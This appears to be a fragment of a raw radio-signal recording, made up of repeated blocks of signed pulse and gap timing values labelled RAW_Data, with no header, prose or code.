-4660 9619 -1422 3829 -2818 3415 -3014 3405 -3002 3401 -3002 3395 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3004 3401 -3002 3393 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -3002 1801 -1398 1795 -1402 1801 -1400 3393 -3002 3403 -1396 1793 -2998 3401 -1402 1801 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -3006 1803 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -1402 1795 -1394 1797 -1400 1801 -3002 1801 -1400 3403 -1396 1791 -1398 1801 -4378 191 -1688 551 -1116 1659 -3106 3309 -3094 3259 -3038 3421 -3012 3405 -3006 3401 -2994 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -3002 1801 -1402 1795 -1394 1795 -1402 3401 -3002 3403 -1396 1791 -3000 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -1402 1801 -3002 3401 -2994 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 3397 -1402 1799 -1402 1801 -1400 1801 -3002 3393 -3002 1797 -1394 1795 -1402 3401 -4704 2681 -1944 3813 -2610 3603 -3002 3401 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2994 3403 -3002 3393 -3002 3401 -2998 3399 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -3000 1801 -1400 1795 -1398 1801 -1402 3401 -2994 3401 -1402 1799 -2996 3401 -1400 1797 -2990 3407 -1404 1801 -1396 1793 -1398 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 3397 -1400 1801 -1402 1795 -1394 1797 -3002 3401 -3002 1801 -1400 3395 -8456 8271 -2610 3601 -3002 3401 -3002 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3006 3399 -2994 3401 -2994 3403 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -3002 1805 -1396 1797 -1402 1799 -1402 3401 -2998 3205 -1598 1791 -2992 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 -RAW_Data: 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 3397 -1402 1799 -1402 1801 -1400 1801 -3002 3393 -3002 3395 -3002 3601 -3880 2553 -2922 3559 -2976 3381 -2988 3389 -2994 3401 -3004 3393 -2994 3401 -3002 3203 -3198 3397 -2994 3403 -2994 3401 -3002 3407 -2996 3395 -1396 1797 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -3002 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -1402 1795 -2992 3401 -1400 1801 -1402 1799 -3006 1601 -1594 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 3389 -1400 1801 -1402 1799 -1402 1799 -3004 3393 -3002 3393 -1402 1801 -4436 421 -3014 1755 -3064 3393 -2996 3401 -2998 3205 -3194 3403 -2998 3397 -2994 3403 -3002 3393 -2994 3401 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 1801 -1400 3395 -3002 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 -RAW_Data: 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 3401 -1402 1799 -1402 1799 -1402 1801 -2994 3401 -1398 1795 -3006 1605 -1598 4387 -1926 735 -564 1715 -3138 3393 -2994 3403 -3006 3197 -3194 3393 -3004 3401 -3002 3393 -3002 3395 -2994 3401 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1402 3393 -3006 3205 -1598 1791 -2992 3401 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1398 1791 -1398 3401 -3002 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 3401 -1400 1801 -1398 1791 -1398 1799 -3004 3401 -1400 1797 -2998 3401 -7510 1767 -2584 3763 -2696 3659 -2834 3419 -3010 3409 -3002 3401 -3002 3403 -3006 3397 -2994 3401 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 3407 -3004 3195 -1596 1791 -2992 3401 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1400 1795 -1398 3403 -1400 1801 -2994 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 3401 -1402 1799 -1402 1795 -1394 1797 -3002 3401 -1402 1799 -1402 1795 -2992 3601 -4408 9397 -1404 3805 -2602 3601 -3002 3401 -3006 3407 -2998 3405 -2994 3395 -3006 3397 -2994 3395 -3002 3401 -2994 3401 -2994 3403 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1402 3393 -3006 3397 -1402 1795 -2992 3401 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 -RAW_Data: 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 3401 -1396 1797 -1402 1799 -1402 1799 -2996 3401 -1400 1797 -1394 1795 -1402 1799 -7782 2983 -1722 3737 -2764 3575 -2986 3389 -2994 3395 -2994 3401 -3002 3403 -2994 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3403 -2994 3401 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -2994 1801 -1400 1801 -1402 1795 -1394 3397 -3002 3403 -1400 1795 -3004 3205 -1598 1791 -1394 1797 -3002 1801 -1400 1801 -1400 3401 -3004 3393 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -3002 1801 -1400 1801 -1402 1799 -1398 3789 -3630 9707 -1196 3995 -2602 3601 -3004 3401 -3002 3393 -3002 3403 -2994 3407 -3004 3193 -3200 3397 -2994 3401 -2996 3401 -3002 3393 -1402 1799 -1402 1795 -1398 1795 -1394 1797 -1402 1799 -3002 1801 -1402 1799 -1402 1799 -1398 3397 -3002 3407 -1400 1791 -2992 3401 -1402 1801 -1400 1795 -3000 1801 -1400 1795 -1398 3403 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 -RAW_Data: 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 3401 -7046 2191 -2780 3479 -2930 3487 -3108 3315 -2934 3349 -3166 3383 -2990 3389 -2994 3395 -3002 3401 -2998 3399 -2994 3401 -3002 3393 -3004 3393 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1402 1795 -2996 3409 -1400 1789 -1394 1795 -3004 1799 -1402 1799 -1402 3407 -1404 1595 -1594 1791 -3000 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 3393 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -3002 1801 -1400 3401 -2996 3401 -5646 14913 -2416 3815 -2810 3401 -3002 3401 -3006 3407 -2994 3401 -2998 3205 -3196 3201 -3194 3393 -3008 3205 -3194 3393 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -3004 1799 -1402 1799 -1402 1795 -1398 3401 -3002 3395 -1400 1797 -2998 3401 -1402 1801 -1396 1791 -3000 1801 -1400 3401 -3004 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1398 3395 -1400 1801 -6192 2021 -2460 3747 -2764 3583 -2986 3389 -2994 3395 -3002 3393 -3002 3403 -2994 3405 -3002 3197 -3196 3393 -3002 3393 -3002 3403 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -1402 1795 -1398 1801 -3002 1795 -1398 3401 -3002 1797 -1398 3401 -3002 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 -RAW_Data: 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 3401 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -3002 3401 -3002 1797 -1398 3601 -4152 2483 -2464 3741 -2764 3575 -2986 3385 -2994 3395 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -2996 3401 -3002 3393 -3002 3403 -3002 3393 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -3006 1601 -1592 1793 -1394 1795 -1402 3401 -3002 3403 -1400 1795 -3000 3401 -1398 1795 -1402 1801 -3006 1599 -1594 3389 -3002 3403 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1795 -1398 1801 -1400 1801 -1402 1799 -1402 3393 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -3002 3393 -3002 3403 -5836 199 -800 2239 -2970 3487 -2904 3313 -3324 3147 -3168 3173 -3188 3389 -2998 3397 -2996 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3401 -3000 3205 -1596 1793 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -1398 1795 -3004 1799 -1402 3393 -3006 3205 -1598 1791 -2992 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 3401 -1402 1799 -1402 1799 -1402 1795 -1394 -RAW_Data: 1797 -3002 3401 -1402 1799 -3004 4001 -1452 1311 -1732 1679 -2834 3579 -2986 3395 -2998 3189 -3198 3199 -3194 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3403 -2994 3401 -2994 3403 -2994 3401 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1402 1795 -2992 3401 -1402 1799 -1402 1799 -3000 1799 -1394 3397 -1402 1799 -3002 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 3389 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -3000 3401 -1402 1799 -1402 1801 -7878 14949 -2414 3809 -2802 3401 -3004 3401 -3002 3401 -3002 3395 -2994 3401 -3002 3393 -3004 3401 -2998 3205 -3194 3395 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3403 -1404 1595 -3188 3401 -1400 1801 -1398 1791 -2998 1801 -1402 3401 -1400 1801 -2994 3403 -2994 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 3401 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1797 -1400 3603 -4378 1987 -2808 3349 -2882 3487 -3116 3325 -2936 3561 -2974 3385 -2992 3389 -2994 3393 -3004 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1400 3395 -3002 3401 -1400 1797 -2990 3403 -1400 1801 -1400 1801 -3006 1601 -1592 3391 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 -RAW_Data: 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 3399 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -3004 1803 -1398 3389 -7766 3599 -1180 3997 -2602 3601 -3002 3401 -3002 3403 -2994 3401 -3002 3401 -2996 3393 -3006 3397 -2994 3403 -3002 3401 -2994 3403 -2994 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1398 1791 -1398 3401 -3002 3403 -1400 1801 -2994 3401 -1398 1791 -1398 1801 -3002 1799 -1402 3401 -1402 1799 -1398 1791 -1398 1801 -3002 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2990 3401 -3004 3801 -4548 2039 -2540 3875 -2646 3423 -3026 3413 -3006 3405 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3407 -2998 3393 -2994 3401 -3000 3205 -1596 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1791 -1400 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -1402 1799 -2996 3401 -2994 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -3002 3407 -1404 -RAW_Data: 1595 